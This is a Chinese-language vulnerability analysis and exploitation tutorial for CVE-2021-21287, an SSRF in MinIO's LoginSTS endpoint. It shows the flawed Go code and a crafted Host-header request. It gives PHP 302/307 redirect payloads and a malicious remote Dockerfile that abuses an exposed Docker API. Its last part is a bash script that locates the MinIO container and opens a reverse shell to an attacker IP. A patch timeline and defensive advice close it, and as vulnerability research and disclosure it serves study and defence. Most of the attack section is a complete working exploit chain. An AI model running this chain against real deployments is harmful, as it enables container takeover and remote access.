CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试
字数 1365 2025-08-10 08:29:04
MinIO SSRF漏洞分析与利用教学文档
0x00 MinIO简介
MinIO是一款开源的对象存储系统,具有以下特点:
- 完全兼容AWS S3协议
- 支持作为S3网关
- 可部署在私有云环境
- GitHub上拥有25k+ stars
- 默认监听9000端口
0x01 漏洞环境分析
测试环境配置:
- MinIO运行在Docker Swarm集群中
- 外部可访问地址:http://192.168.227.131:9000
- 无可用凭证信息
- 主机系统:CentOS,防火墙开启
- 仅开放9000端口
- dockerd监听内网2375端口(Swarm管理节点监听2377端口)
0x02 漏洞发现过程
代码审计重点
-
前端接口分析:
- 用户代理需匹配
.*Mozilla.*才能访问前端接口 - 前端接口实现自定义JsonRPC
- 用户代理需匹配
-
鉴权机制:
- 使用JWT鉴权
- 限制alg类型,防止常见JWT攻击:
- 禁止"none"算法
- 禁止RSA转HS256
- 使用用户密码作为签名密钥
-
未授权接口发现:
LoginSTS接口:AWS STS登录接口代理- 将JsonRPC请求转换为STS请求转发到本地9000端口
SSRF漏洞成因
关键问题代码:
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
// ...
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
// ...
}
漏洞点:
- 从用户可控的Host头构造目标URL
- 导致服务端请求伪造(SSRF)
0x03 SSRF漏洞利用
基本验证
请求示例:
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}
限制:
- 只能控制Host和WebIdentityToken参数
- WebIdentityToken经过URL编码,无法注入特殊字符
漏洞升级技巧
- 302跳转升级:
- Go的http库默认跟踪302跳转
- 可构造302跳转获得可控URL的GET请求
PHP示例:
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
- 307跳转升级:
- 307跳转不改变原始请求方法
- 可获得POST请求SSRF
PHP示例:
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);
0x04 攻击Docker API
Docker API利用点
-
build API:
- 路径:
/build - 关键参数:
remote: Git仓库URI或HTTP/HTTPS上下文URIdockerfile: Dockerfile路径t: 镜像标签
- 路径:
-
利用方法:
- 通过remote参数指定远程Dockerfile
- 在Dockerfile中执行任意命令
示例Dockerfile:
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build
构造的307跳转:
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);
0x05 最终利用 - 获取MinIO容器权限
自动化攻击脚本
Dockerfile示例:
RUN apk add curl bash jq
RUN set -ex \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
脚本功能:
- 遍历所有容器,寻找MinIO容器
- 获取容器ID
- 使用exec API执行反弹shell命令
0x06 漏洞修复时间线
- 2021年1月23日 21:11 - 漏洞提交
- 2021年1月24日 03:06 - 漏洞确认
- 2021年1月26日 02:15 - 修复合并到主线分支
0x07 防御建议
-
MinIO配置:
- 更新到修复版本
- 限制Host头的可信值
- 加强JWT验证机制
-
Docker安全:
- 避免将Docker API暴露在网络上
- 使用TLS认证
- 限制网络访问
-
通用防御:
- 实施网络分段
- 监控异常请求
- 定期安全审计
附录:参考链接
- 原文地址:phithon's blog
- MinIO官网:https://min.io
- Docker API文档:https://docs.docker.com/engine/api/